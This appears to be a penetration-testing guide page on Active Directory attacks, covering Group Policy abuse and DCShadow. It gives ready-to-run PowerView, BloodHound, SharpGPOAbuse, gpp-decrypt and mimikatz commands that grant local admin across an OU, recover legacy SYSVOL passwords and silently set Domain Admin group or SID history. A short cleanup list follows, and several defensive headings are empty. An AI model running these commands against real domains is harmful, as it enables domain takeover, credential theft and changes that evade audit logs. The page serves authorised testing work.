Active Directory Exploitation

Two directory-level techniques have no other home in this section: modifying Group Policy to execute code as SYSTEM across an OU, and registering a rogue DC to write changes that replicate like any other DC's. Both change the directory rather than a host, and both are the difference between holding domain credentials and controlling the domain.

Where Each AD Attack Lives

This page used to re-teach DCSync, ACL abuse, the ADCS ESC families and shadow credentials. Those are taught once, in the pages below, and the copies here had drifted out of step with them — so they are gone rather than duplicated. Use this table to get to the page that owns the mechanic.

Tooling

GPO Abuse

A GPO is two rights, not one. Editing the policy means write access to the GPO object and to its files under SYSVOL\Policies\{GUID} — GenericWrite, WriteProperty or WriteDacl on the GPO. Making it do anything means a link, which is a write to gpLink on a site, domain or OU. Editing a GPO nobody links changes nothing; linking a GPO you cannot edit changes nothing. The exploit is the pair, and the scope of the finding is the link target: a GPO linked at the domain root applies to every computer and user in the domain, not just the OU you happened to notice.

Timing decides which mechanism to use. Computer policy refreshes every 90 minutes with up to 30 minutes of jitter (every 5 minutes on a DC), so a Restricted Groups or startup-script change waits for the next refresh and, for a startup script, for the next boot. SharpGPOAbuse's --AddComputerTask writes an immediate scheduled task through Group Policy Preferences instead, which fires at the next refresh without needing a reboot. Either way the payload executes as SYSTEM — there is no local exploit in the chain, which is why GPO write access is treated as equivalent to local admin on every host in scope.

Find a GPO You Can Write

# PowerView — GPOs where you hold write rights, and who is in the link
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl|WriteOwner' } |
  Select-Object ObjectDN, SecurityIdentifier, ActiveDirectoryRights

# Which OUs (and therefore which computers) a GPO applies to
Get-DomainOU -GPLink "*{GPO-GUID}*" | Select-Object name, distinguishedname
Get-DomainOU -GPLink "*{GPO-GUID}*" | ForEach-Object {
  Get-DomainComputer -SearchBase $_.distinguishedname | Select-Object name
}

# BloodHound — does a write edge to a GPO reach a privileged OU?
MATCH p=(u:User)-[:GenericAll|GenericWrite|WriteOwner|WriteDacl]->(g:GPO)
RETURN p

Exploit the Write

# Add a local administrator to every machine the GPO reaches
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Workstation Baseline"

# Startup script — runs as SYSTEM at next boot
SharpGPOAbuse.exe --AddComputerScript --ScriptName startup.bat   --ScriptContents "net localgroup administrators CORP\attacker /add"   --GPOName "Workstation Baseline"

# Immediate scheduled task — next refresh, no reboot needed
SharpGPOAbuse.exe --AddComputerTask --TaskName "Inventory" --Author "NT AUTHORITY\SYSTEM"   --Command "cmd.exe" --Arguments "/c net localgroup administrators CORP\attacker /add"   --GPOName "Workstation Baseline"

# Push the change from a host you control (only affects that host)
gpupdate /force

Read access to a GPO is a credential finding as well as a policy one. Older estates still carry Group Policy Preferences passwords in Groups.xml and friends under SYSVOL, encrypted with a key Microsoft published in 2012 (MS14-025 stopped new ones being written in 2014; it did not remove the existing files). Nothing needs to be decrypted on the host — the file is readable by any authenticated user who can list the policy folder.

# Legacy GPP passwords left in SYSVOL
findstr /S /I cpassword \\corp.local\SYSVOL\*.xml

# Decrypt a cpassword from the XML
gpp-decrypt 'j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw'

DCShadow

Normal directory changes are attributable: change a user's group membership and the 5136 event names your account as the subject, and the 4728 that usually precedes it names it again. DCShadow removes that attribution. It registers a temporary rogue DC, then uses the replication protocol (DRSUAPI) to push an attribute value into the directory, so the change is written with the rogue DC as the originating DSA — and replication traffic is what a DC expects to receive from another DC.

It is not a privilege-escalation primitive: DCShadow makes a change you are already entitled to make without the usual audit trail, which is why it targets SID history, primaryGroupId and replication rights. Prerequisites are steep — Domain Admin or equivalent rights to create a server object and replicate, and SYSTEM on a real DC for the push half.

The operation is always two contexts. One mimikatz declares the object, attribute and value and stands up the rogue DC; a second, running as SYSTEM on a domain controller, tells it to push. The change then carries the rogue DC's replication metadata, so it looks like it arrived from a peer.

# Context 1 — declare the change (Domain Admin); this starts the fake DC
mimikatz # lsadump::dcshadow /object:svc-backup /attribute:primaryGroupId /value:512

# Grant SID history instead — historic SID resolves to Domain Admins
mimikatz # lsadump::dcshadow /object:svc-backup /attribute:sidHistory /value:S-1-5-21-1111111111-2222222222-3333333333-512

# Context 2 — as SYSTEM on a real DC: replicate the change in
mimikatz # lsadump::dcshadow /push

Detection & Blue Team

Cleanup

• GPO: delete the local-admin entry, preference file or scheduled task, then force a policy refresh on a host in scope and confirm the setting is absent.
• GPO version: the version number must move again after the removal, or clients will not re-apply the corrected policy.
• DCShadow: restore the recorded previous value, then remove the rogue server object and its nTDSDSA child and confirm with repadmin /showrepl that replication is healthy.
• Evidence: keep the before/after attribute values and the object paths — they are the finding, and they are also the proof that cleanup happened.

Evidence Collection

False Positive Identification

Testing Checklist

Remediation